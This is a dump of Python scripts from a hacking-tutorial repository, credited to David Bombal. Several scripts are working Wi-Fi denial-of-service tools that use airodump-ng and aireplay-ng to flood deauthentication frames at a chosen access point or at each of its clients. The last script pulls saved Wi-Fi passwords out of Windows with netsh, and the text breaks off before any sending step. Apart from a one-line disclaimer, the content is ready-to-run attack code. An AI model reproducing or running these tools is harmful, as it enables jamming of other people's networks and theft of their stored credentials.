| # This is one way to put it into monitoring mode. You can also use iwconfig, or airmon-ng. 48 | subprocess.run(["ip", "link", "set", wifi_name, "down"]) 49 | # Killing conflicting processes makes sure that nothing interferes with putting controller into monitor mode. 50 | subprocess.run(["airmon-ng", "check", "kill"]) 51 | # Put the WiFi nic in monitor mode. 52 | subprocess.run(["iw", wifi_name, "set", "monitor", "none"]) 53 | # Bring the WiFi controller back online. 54 | subprocess.run(["ip", "link", "set", wifi_name, "up"]) 55 | 56 | def set_band_to_monitor(choice): 57 | """If you have a 5Ghz network interface controller you can use this function to put monitor either 2.4Ghz or 5Ghz bands or both.""" 58 | if choice == "0": 59 | # Bands b and g are 2.4Ghz WiFi Networks 60 | subprocess.Popen(["airodump-ng", "--band", "bg", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 61 | elif choice == "1": 62 | # Band a is for 5Ghz WiFi Networks 63 | subprocess.Popen(["airodump-ng", "--band", "a", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 64 | else: 65 | # Will use bands a, b and g (actually band n). Checks full spectrum. 66 | subprocess.Popen(["airodump-ng", "--band", "abg", "-w", "file", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 67 | 68 | 69 | def backup_csv(): 70 | """Move all .csv files in the directory to a new backup folder.""" 71 | for file_name in os.listdir(): 72 | # We should only have one csv file as we delete them from the folder every time we run the program. 73 | if ".csv" in file_name: 74 | print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") 75 | # We get the current working directory. 76 | directory = os.getcwd() 77 | try: 78 | # We make a new directory called /backup 79 | os.mkdir(directory + "/backup/") 80 | except: 81 | print("Backup folder exists.") 82 | # Create a timestamp 83 | timestamp = datetime.now() 84 | # We copy any .csv files in the folder to the backup folder. 85 | shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) 86 | 87 | 88 | def check_for_essid(essid, lst): 89 | """Will check if there is an ESSID in the list and then send False to end the loop.""" 90 | check_status = True 91 | 92 | # If no ESSIDs in list add the row 93 | if len(lst) == 0: 94 | return check_status 95 | 96 | # This will only run if there are wireless access points in the list. 97 | for item in lst: 98 | # If True don't add to list. False will add it to list 99 | if essid in item["ESSID"]: 100 | check_status = False 101 | 102 | return check_status 103 | 104 | 105 | def wifi_networks_menu(): 106 | """ Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.""" 107 | active_wireless_networks = list() 108 | try: 109 | while True: 110 | # We want to clear the screen before we print the network interfaces. 111 | subprocess.call("clear", shell=True) 112 | for file_name in os.listdir(): 113 | # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 114 | # The following list contains the field names for the csv entries. 115 | fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] 116 | if ".csv" in file_name: 117 | with open(file_name) as csv_h: 118 | # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 119 | # This creates a list of dictionaries with the keys as specified in the fieldnames. 120 | csv_h.seek(0) 121 | csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) 122 | for row in csv_reader: 123 | if row["BSSID"] == "BSSID": 124 | pass 125 | elif row["BSSID"] == "Station MAC": 126 | break 127 | elif check_for_essid(row["ESSID"], active_wireless_networks): 128 | active_wireless_networks.append(row) 129 | 130 | print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") 131 | print("No |\tBSSID |\tChannel|\tESSID |") 132 | print("___|\t___________________|\t_______|\t______________________________|") 133 | for index, item in enumerate(active_wireless_networks): 134 | # We're using the print statement with an f-string. 135 | # F-strings are a more intuitive way to include variables when printing strings, 136 | # rather than ugly concatenations. 137 | print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") 138 | # We make the script sleep for 1 second before loading the updated list. 139 | time.sleep(1) 140 | 141 | except KeyboardInterrupt: 142 | print("\nReady to make choice.") 143 | 144 | # Ensure that the input choice is valid. 145 | while True: 146 | net_choice = input("Please select a choice from above: ") 147 | if active_wireless_networks[int(net_choice)]: 148 | return active_wireless_networks[int(net_choice)] 149 | print("Please try again.") 150 | 151 | 152 | 153 | def set_into_managed_mode(wifi_name): 154 | """SET YOUR NETWORK CONTROLLER INTERFACE INTO MANAGED MODE & RESTART NETWORK MANAGER 155 | ARGUMENTS: wifi interface name 156 | """ 157 | # Put WiFi controller into monitor mode. 158 | # This is one way to put it into managed mode. You can also use iwconfig, or airmon-ng. 159 | subprocess.run(["ip", "link", "set", wifi_name, "down"]) 160 | # Put the WiFi nic in monitor mode. 161 | subprocess.run(["iwconfig", wifi_name, "mode", "managed"]) 162 | subprocess.run(["ip", "link", "set", wifi_name, "up"]) 163 | subprocess.run(["service", "NetworkManager", "start"]) 164 | 165 | 166 | def get_clients(hackbssid, hackchannel, wifi_name): 167 | subprocess.Popen(["airodump-ng", "--bssid", hackbssid, "--channel", hackchannel, "-w", "clients", "--write-interval", "1", "--output-format", "csv", wifi_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 168 | 169 | 170 | def deauth_attack(network_mac, target_mac, interface): 171 | # We are using aireplay-ng to send a deauth packet. 0 means it will send it indefinitely. -a is used to specify the MAC address of the target router. -c is used to specify the mac we want to send the deauth packet. 172 | # Then we also need to specify the interface 173 | subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", network_mac, "-c", target_mac, interface]) 174 | 175 | 176 | # Regular Expressions to be used. 177 | mac_address_regex = re.compile(r'(?:[0-9a-fA-F]:?){12}') 178 | wlan_code = re.compile("Interface (wlan[0-9]+)") 179 | 180 | # Program Header 181 | # Basic user interface header 182 | print(r"""______ _ _ ______ _ _ 183 | | _ \ (_) | | | ___ \ | | | | 184 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 185 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 186 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 187 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 188 | print("\n****************************************************************") 189 | print("\n* Copyright of David Bombal, 2021 *") 190 | print("\n* https://www.davidbombal.com *") 191 | print("\n* https://www.youtube.com/davidbombal *") 192 | print("\n****************************************************************") 193 | 194 | # In Sudo Mode? 195 | in_sudo_mode() 196 | # Move any csv files to current working directory/backup 197 | backup_csv() 198 | 199 | # Lists to be populated 200 | macs_not_to_kick_off = list() 201 | 202 | 203 | # Menu to request Mac Addresses to be kept on network. 204 | while True: 205 | print("Please enter the MAC Address(es) of the device(s) you don't want to kick off the network.") 206 | macs = input("Please use a comma separated list if more than one, ie 00:11:22:33:44:55,11:22:33:44:55:66 :") 207 | # Use the MAC Address Regex to find all the MAC Addresses entered in the above input. 208 | macs_not_to_kick_off = mac_address_regex.findall(macs) 209 | # We reassign all the MAC address to the same variable as a list and make them uppercase using a list comprehension. 210 | macs_not_to_kick_off = [mac.upper() for mac in macs_not_to_kick_off] 211 | # If you entered a valid MAC Address the program flow will continue and break out of the while loop. 212 | if len(macs_not_to_kick_off) > 0: 213 | break 214 | 215 | print("You didn't enter valid Mac Addresses.") 216 | 217 | 218 | # Menu to ask which bands to scan with airmon-ng 219 | while True: 220 | wifi_controller_bands = ["bg (2.4Ghz)", "a (5Ghz)", "abg (Will be slower)"] 221 | print("Please select the type of scan you want to run.") 222 | for index, controller in enumerate(wifi_controller_bands): 223 | print(f"{index} - {controller}") 224 | 225 | 226 | # Check if the choice exists. If it doesn't it asks the user to try again. 227 | # We don't cast it to an integer at this stage as characters other than digits will cause the program to break. 228 | band_choice = input("Please select the bands you want to scan from the list above: ") 229 | try: 230 | if wifi_controller_bands[int(band_choice)]: 231 | # Since the choice exists and is an integer we can cast band choice as an integer. 232 | band_choice = int(band_choice) 233 | break 234 | except: 235 | print("Please make a valid selection.") 236 | 237 | 238 | # Find all the network interface controllers. 239 | network_controllers = find_nic() 240 | if len(network_controllers) == 0: 241 | # If no networks interface controllers connected to your computer the program will exit. 242 | print("Please connect a network interface controller and try again!") 243 | exit() 244 | 245 | 246 | # Select the network interface controller you want to put into monitor mode. 247 | while True: 248 | for index, controller in enumerate(network_controllers): 249 | print(f"{index} - {controller}") 250 | 251 | controller_choice = input("Please select the controller you want to put into monitor mode: ") 252 | 253 | try: 254 | if network_controllers[int(controller_choice)]: 255 | break 256 | except: 257 | print("Please make a valid selection!") 258 | 259 | 260 | # Assign the network interface controller name to a variable for easy use. 261 | wifi_name = network_controllers[int(controller_choice)] 262 | 263 | 264 | # Set network interface controller to monitor mode. 265 | set_monitor_mode(wifi_name) 266 | # Monitor the selected wifi band(s). 267 | set_band_to_monitor(band_choice) 268 | # Print WiFi Menu 269 | wifi_network_choice = wifi_networks_menu() 270 | hackbssid = wifi_network_choice["BSSID"] 271 | # We strip out all the extra white space to just get the channel. 272 | hackchannel = wifi_network_choice["channel"].strip() 273 | # backup_csv() 274 | # Run against only the network we want to kick clients off. 275 | get_clients(hackbssid, hackchannel, wifi_name) 276 | 277 | # We define a set, because it can only hold unique values. 278 | active_clients = set() 279 | # We would like to know the threads we've already started so that we don't start multiple threads running the same deauth. 280 | threads_started = [] 281 | 282 | # Make sure that airmon-ng is running on the correct channel. 283 | subprocess.run(["airmon-ng", "start", wifi_name, hackchannel]) 284 | try: 285 | while True: 286 | count = 0 287 | 288 | # We want to clear the screen before we print the network interfaces. 289 | subprocess.call("clear", shell=True) 290 | for file_name in os.listdir(): 291 | # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 292 | # The following list contains the field names for the csv entries. 293 | fieldnames = ["Station MAC", "First time seen", "Last time seen", "Power", "packets", "BSSID", "Probed ESSIDs"] 294 | if ".csv" in file_name and file_name.startswith("clients"): 295 | with open(file_name) as csv_h: 296 | print("Running") 297 | # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 298 | # This creates a list of dictionaries with the keys as specified in the fieldnames. 299 | csv_h.seek(0) 300 | csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) 301 | for index, row in enumerate(csv_reader): 302 | if index < 5: 303 | pass 304 | # We will not add the MAC Addresses we specified at the beginning of the program to the ones we will kick off. 305 | elif row["Station MAC"] in macs_not_to_kick_off: 306 | pass 307 | else: 308 | # Add all the active MAC Addresses. 309 | active_clients.add(row["Station MAC"]) 310 | 311 | print("Station MAC |") 312 | print("______________________|") 313 | for item in active_clients: 314 | # We're using the print statement with an f-string. 315 | # F-strings are a more intuitive way to include variables when printing strings, 316 | # rather than ugly concatenations. 317 | print(f"{item}") 318 | # Once a device is in the active clients set and not one of the threads running deauth attacks we start a new thread as a deauth attack. 319 | if item not in threads_started: 320 | # It's easier to work with the unique MAC Addresses in a list and add the MAC to the list of threads we started before we start running the deauth thread. 321 | threads_started.append(item) 322 | # We run the deauth_attack function in the thread with the argumenets hackbssid, item and wifi_name, we also specify it as a background daemon thread. 323 | # A daemon thread keeps running until the main thread stops. You can stop the main thread with ctrl + c. 324 | t = threading.Thread(target=deauth_attack, args=[hackbssid, item, wifi_name], daemon=True) 325 | t.start() 326 | except KeyboardInterrupt: 327 | print("\nStopping Deauth") 328 | 329 | # Set the network interface controller back into managed mode and restart network services. 330 | set_into_managed_mode(wifi_name) 331 | -------------------------------------------------------------------------------- /wifi_dos_type1.py: -------------------------------------------------------------------------------- 1 | 2 | #!/usr/bin/env python3 3 | # Disclaimer: This script is for educational purposes only. Do not use against any network that you don't own or have authorization to test. 4 | 5 | # We will be using the subprocess module to run commands on Kali Linux. 6 | import subprocess 7 | # We require regular expressions. 8 | import re 9 | # We want to open the CSV files generated by airmon-ng, 10 | # and we'll use the built-in csv module. 11 | import csv 12 | # We want to import os because we want to check for sudo 13 | import os 14 | # We want to use time.sleep() 15 | import time 16 | # We want to move .csv files in the folder if we found any. 17 | # We'll use shutil for that. 18 | import shutil 19 | # Create a timestamp for .csv filename 20 | from datetime import datetime 21 | 22 | # Create an empty list 23 | active_wireless_networks = [] 24 | 25 | # We use this function to test if the ESSID is already in the list file. 26 | # If so we return False so we don't add it again. 27 | # If it is not in the lst we return True which will instruct the elif 28 | # statement to add it to the lst. 29 | def check_for_essid(essid, lst): 30 | check_status = True 31 | 32 | # If no ESSIDs in list add the row 33 | if len(lst) == 0: 34 | return check_status 35 | 36 | # This will only run if there are wireless access points in the list. 37 | for item in lst: 38 | # If True don't add to list. False will add it to list 39 | if essid in item["ESSID"]: 40 | check_status = False 41 | 42 | return check_status 43 | 44 | # Basic user interface header 45 | print(r"""______ _ _ ______ _ _ 46 | | _ \ (_) | | | ___ \ | | | | 47 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 48 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 49 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 50 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 51 | print("\n****************************************************************") 52 | print("\n* Copyright of David Bombal, 2021 *") 53 | print("\n* https://www.davidbombal.com *") 54 | print("\n* https://www.youtube.com/davidbombal *") 55 | print("\n****************************************************************") 56 | 57 | 58 | # If the user doesn't run the program with super user privileges, don't allow them to continue. 59 | if not 'SUDO_UID' in os.environ.keys(): 60 | print("Try running this program with sudo.") 61 | exit() 62 | 63 | # Remove .csv files before running the script. 64 | for file_name in os.listdir(): 65 | # We should only have one csv file as we delete them from the folder 66 | # every time we run the program. 67 | if ".csv" in file_name: 68 | print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.") 69 | # We get the current working directory. 70 | directory = os.getcwd() 71 | try: 72 | # We make a new directory called /backup 73 | os.mkdir(directory + "/backup/") 74 | except: 75 | print("Backup folder exists.") 76 | # Create a timestamp 77 | timestamp = datetime.now() 78 | # We move any .csv files in the folder to the backup folder. 79 | shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) 80 | 81 | # Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher. 82 | wlan_pattern = re.compile("^wlan[0-9]+") 83 | 84 | # Python allows is to run system commands by using a function provided by the subprocess module. 85 | # subprocess.run() 86 | # The script is the parent process and creates a child process which runs the system command, 87 | # and will only continue once the child process has completed. 88 | # We run the iwconfig command to look for wireless interfaces. 89 | check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode()) 90 | 91 | # No WiFi Adapter connected. 92 | if len(check_wifi_result) == 0: 93 | print("Please connect a WiFi adapter and try again.") 94 | exit() 95 | 96 | # Menu to select WiFi interface from 97 | print("The following WiFi interfaces are available:") 98 | for index, item in enumerate(check_wifi_result): 99 | print(f"{index} - {item}") 100 | 101 | # Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from. 102 | while True: 103 | wifi_interface_choice = input("Please select the interface you want to use for the attack: ") 104 | try: 105 | if check_wifi_result[int(wifi_interface_choice)]: 106 | break 107 | except: 108 | print("Please enter a number that corresponds with the choices available.") 109 | 110 | # For easy reference we call the selected interface hacknic 111 | hacknic = check_wifi_result[int(wifi_interface_choice)] 112 | 113 | # Tell the user we're going to kill the conflicting processes. 114 | print("WiFi adapter connected!\nNow let's kill conflicting processes:") 115 | 116 | # subprocess.run() 117 | # The script is the parent process and creates a child process which runs the system command, 118 | # and will only continue once the child process has completed. 119 | # We run the iwconfig command to look for wireless interfaces. 120 | # Killing all conflicting processes using airmon-ng 121 | kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"]) 122 | 123 | # Put wireless in Monitor mode 124 | print("Putting Wifi adapter into monitored mode:") 125 | put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic]) 126 | 127 | # subprocess.Popen() 128 | # The Popen method opens a pipe from a command. 129 | # The output is an open file that can be accessed by other programs. 130 | # We run the iwconfig command to look for wireless interfaces. 131 | # Discover access points 132 | discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 133 | 134 | # Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c. 135 | try: 136 | while True: 137 | # We want to clear the screen before we print the network interfaces. 138 | subprocess.call("clear", shell=True) 139 | for file_name in os.listdir(): 140 | # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 141 | # The following list contains the field names for the csv entries. 142 | fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] 143 | if ".csv" in file_name: 144 | with open(file_name) as csv_h: 145 | # This will run multiple times and we need to reset the cursor to the beginning of the file. 146 | csv_h.seek(0) 147 | # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 148 | # This creates a list of dictionaries with the keys as specified in the fieldnames. 149 | csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) 150 | for row in csv_reader: 151 | # We want to exclude the row with BSSID. 152 | if row["BSSID"] == "BSSID": 153 | pass 154 | # We are not interested in the client data. 155 | elif row["BSSID"] == "Station MAC": 156 | break 157 | # Every field where an ESSID is specified will be added to the list. 158 | elif check_for_essid(row["ESSID"], active_wireless_networks): 159 | active_wireless_networks.append(row) 160 | 161 | print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") 162 | print("No |\tBSSID |\tChannel|\tESSID |") 163 | print("___|\t___________________|\t_______|\t______________________________|") 164 | for index, item in enumerate(active_wireless_networks): 165 | # We're using the print statement with an f-string. 166 | # F-strings are a more intuitive way to include variables when printing strings, 167 | # rather than ugly concatenations. 168 | print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") 169 | # We make the script sleep for 1 second before loading the updated list. 170 | time.sleep(1) 171 | 172 | except KeyboardInterrupt: 173 | print("\nReady to make choice.") 174 | 175 | # Ensure that the input choice is valid. 176 | while True: 177 | # If you don't make a choice from the options available in the list, 178 | # you will be asked to please try again. 179 | choice = input("Please select a choice from above: ") 180 | try: 181 | if active_wireless_networks[int(choice)]: 182 | break 183 | except: 184 | print("Please try again.") 185 | 186 | # To make it easier to work with and read the code, we assign the results to variables. 187 | hackbssid = active_wireless_networks[int(choice)]["BSSID"] 188 | hackchannel = active_wireless_networks[int(choice)]["channel"].strip() 189 | 190 | # Change to the channel we want to perform the DOS attack on. 191 | # Monitoring takes place on a different channel and we need to set it to that channel. 192 | subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel]) 193 | 194 | # Deauthenticate clients using a subprocess. 195 | # The script is the parent process and creates a child process which runs the system command, 196 | # and will only continue once the child process has completed. 197 | subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"]) 198 | 199 | # User will need to use control-c to break the script. 200 | 201 | 202 | -------------------------------------------------------------------------------- /wifi_dos_type2.py: -------------------------------------------------------------------------------- 1 | 2 | #!/usr/bin/env python3 3 | # Disclaimer: This script is for educational purposes only. Do not use against any network that you don't own or have authorization to test. 4 | 5 | # We will be using the subprocess module to run commands on Kali Linux. 6 | import subprocess 7 | # We will require regular expressions. 8 | import re 9 | # We want to open the CSV files generated by airmon-ng, and we'll use the built-in csv module. 10 | import csv 11 | # We want to import os because we want to check for sudo 12 | import os 13 | # We want to use time.sleep() 14 | import time 15 | # We want to move .csv files in the folder if we found any. We'll use shutil for that. 16 | import shutil 17 | # Create a timestamp for .csv filename 18 | from datetime import datetime 19 | 20 | # We declare an empty list where all active wireless networks will be saved to. 21 | active_wireless_networks = [] 22 | 23 | # We use this function to test if the ESSID is already in the list file. 24 | # If so we return False so we don't add it again. 25 | # If it is not in the lst we return True which will instruct the elif 26 | # statement to add it to the lst. 27 | def check_for_essid(essid, lst): 28 | check_status = True 29 | 30 | # If no ESSIDs in list add the row 31 | if len(lst) == 0: 32 | return check_status 33 | 34 | # This will only run if there are wireless access points in the list. 35 | for item in lst: 36 | # If True don't add to list. False will add it to list 37 | if essid in item["ESSID"]: 38 | check_status = False 39 | 40 | return check_status 41 | 42 | # Basic user interface header 43 | print(r"""______ _ _ ______ _ _ 44 | | _ \ (_) | | | ___ \ | | | | 45 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 46 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 47 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 48 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 49 | print("\n****************************************************************") 50 | print("\n* Copyright of David Bombal, 2021 *") 51 | print("\n* https://www.davidbombal.com *") 52 | print("\n* https://www.youtube.com/davidbombal *") 53 | print("\n****************************************************************") 54 | 55 | 56 | # If the user doesn't run the program with super user privileges, don't allow them to continue. 57 | if not 'SUDO_UID' in os.environ.keys(): 58 | print("Try running this program with sudo.") 59 | exit() 60 | 61 | # Move all .csv files in the directory to a backup folder. 62 | for file_name in os.listdir(): 63 | # We should only have one csv file as we delete them from the folder every time we run the program. 64 | if ".csv" in file_name: 65 | print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.") 66 | # We get the current working directory. 67 | directory = os.getcwd() 68 | try: 69 | # We make a new directory called /backup 70 | os.mkdir(directory + "/backup/") 71 | except: 72 | print("Backup folder exists.") 73 | # Create a timestamp 74 | timestamp = datetime.now() 75 | # We copy any .csv files in the folder to the backup folder. 76 | shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) 77 | 78 | # Regex to find wireless interfaces, we're making the assumption they will all be wlan0 or higher. 79 | wlan_pattern = re.compile("^wlan[0-9]+") 80 | 81 | # Python allows us to run system commands by using a function provided by the subprocess module. 82 | # subprocess.run(, ) 83 | # We want to capture the output. The output will be in standard UTF-8 and will decode it. 84 | # The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 85 | # We run the iwconfig command to look for wireless interfaces. 86 | check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode()) 87 | 88 | # No WiFi Adapter connected. 89 | if len(check_wifi_result) == 0: 90 | print("Please connect a WiFi controller and try again.") 91 | exit() 92 | 93 | # Menu to select WiFi interface from 94 | print("The following WiFi interfaces are available:") 95 | for index, item in enumerate(check_wifi_result): 96 | print(f"{index} - {item}") 97 | 98 | # Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from. 99 | while True: 100 | wifi_interface_choice = input("Please select the interface you want to use for the attack: ") 101 | try: 102 | if check_wifi_result[int(wifi_interface_choice)]: 103 | break 104 | except: 105 | print("Please enter a number that corresponds with the choices.") 106 | 107 | # For easy reference we call the picked interface hacknic 108 | hacknic = check_wifi_result[int(wifi_interface_choice)] 109 | 110 | # Kill conflicting WiFi processses 111 | print("WiFi adapter connected!\nNow let's kill conflicting processes:") 112 | 113 | # subprocess.run() 114 | # The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 115 | # We run the iwconfig command to look for wireless interfaces. 116 | # Killing all conflicting processes using airmon-ng 117 | kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"]) 118 | 119 | # Put wireless in Monitored mode 120 | print("Putting Wifi adapter into monitored mode:") 121 | put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic]) 122 | 123 | # subprocess.Popen() 124 | # The Popen method opens a pipe from a command. The output is an open file that can be accessed by other programs. 125 | # We run the iwconfig command to look for wireless interfaces. 126 | # Discover access points 127 | discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 128 | 129 | # Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c. 130 | try: 131 | while True: 132 | # We want to clear the screen before we print the network interfaces. 133 | subprocess.call("clear", shell=True) 134 | for file_name in os.listdir(): 135 | # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 136 | # The following list contains the field names for the csv entries. 137 | fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] 138 | if ".csv" in file_name: 139 | with open(file_name) as csv_h: 140 | # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 141 | # This creates a list of dictionaries with the keys as specified in the fieldnames. 142 | csv_h.seek(0) 143 | csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) 144 | for row in csv_reader: 145 | if row["BSSID"] == "BSSID": 146 | pass 147 | elif row["BSSID"] == "Station MAC": 148 | break 149 | elif check_for_essid(row["ESSID"], active_wireless_networks): 150 | active_wireless_networks.append(row) 151 | 152 | print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") 153 | print("No |\tBSSID |\tChannel|\tESSID |") 154 | print("___|\t___________________|\t_______|\t______________________________|") 155 | for index, item in enumerate(active_wireless_networks): 156 | # We're using the print statement with an f-string. 157 | # F-strings are a more intuitive way to include variables when printing strings, 158 | # rather than ugly concatenations. 159 | print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") 160 | # We make the script sleep for 1 second before loading the updated list. 161 | time.sleep(1) 162 | 163 | except KeyboardInterrupt: 164 | print("\nReady to make choice.") 165 | 166 | # Ensure that the input choice is valid. 167 | while True: 168 | choice = input("Please select a choice from above: ") 169 | try: 170 | if active_wireless_networks[int(choice)]: 171 | break 172 | except: 173 | print("Please try again.") 174 | 175 | # To make it easier to work with we assign the results to variables. 176 | hackbssid = active_wireless_networks[int(choice)]["BSSID"] 177 | hackchannel = active_wireless_networks[int(choice)]["channel"].strip() 178 | 179 | # Change to the channel we want to perform the DOS attack on. 180 | # Monitoring takes place on a different channel and we need to set it to that channel. 181 | subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel]) 182 | 183 | # Deauthenticate clients. We run it with Popen and we send the output to subprocess.DEVNULL and the errors to subprocess.DEVNULL. We will thus run deauthenticate in the background. 184 | subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 185 | 186 | # We run an infinite loop which you can quit by presses ctrl-c. The deauthentication will stop when we stop the script. 187 | try: 188 | while True: 189 | print("Deauthenticating clients, press ctrl-c to stop") 190 | except KeyboardInterrupt: 191 | print("Stop monitoring mode") 192 | # We run a subprocess.run command where we stop monitoring mode on the network adapter. 193 | subprocess.run(["airmon-ng", "stop", hacknic + "mon"]) 194 | print("Thank you! Exiting now") 195 | 196 | 197 | 198 | -------------------------------------------------------------------------------- /windows10-wifi-email.py: -------------------------------------------------------------------------------- 1 | #! py 2 | ###################################### 3 | #Copyright of David Bombal, 2021 # 4 | #https://www.davidbombal.com # 5 | #https://www.youtube.com/davidbombal # 6 | ###################################### 7 | import subprocess 8 | import re 9 | import smtplib 10 | from email.message import EmailMessage 11 | 12 | # Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) 13 | # The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 14 | # To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. 15 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 16 | 17 | # We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. 18 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 19 | 20 | # We create an empty list outside of the loop where dictionaries with all the wifi username and passwords will be saved. 21 | wifi_list = list() 22 | 23 | 24 | # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. 25 | if len(profile_names) != 0: 26 | for name in profile_names: 27 | # Every wifi connection will need its own dictionary which will be appended to the wifi_list 28 | wifi_profile = dict() 29 | # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. 30 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 31 | # We use a regular expression to only look for the absent cases so we can ignore them. 32 | if re.search("Security key : Absent", profile_info): 33 | continue 34 | else: 35 | # Assign the ssid of the wifi profile to the dictionary 36 | wifi_profile["ssid"] = name 37 | # These cases aren't absent and we should run them "key=clear" command part to get the password 38 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 39 | # Again run the regular expressions to capture the group after the : which is the password 40 | password = re.search("Key Content : (.*)\r", profile_info_pass) 41 | # Check if we found a password in the regular expression. All wifi connections will not have passwords. 42 | if password == None: 43 | wifi_profile["password"] = None 44 | else: 45 | # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. 46 | wifi_profile["password"] = password[1] 47 | # We append the wifi information to the wifi_list 48 | wifi_list.append(wifi_profile) 49 | 50 | # Create the 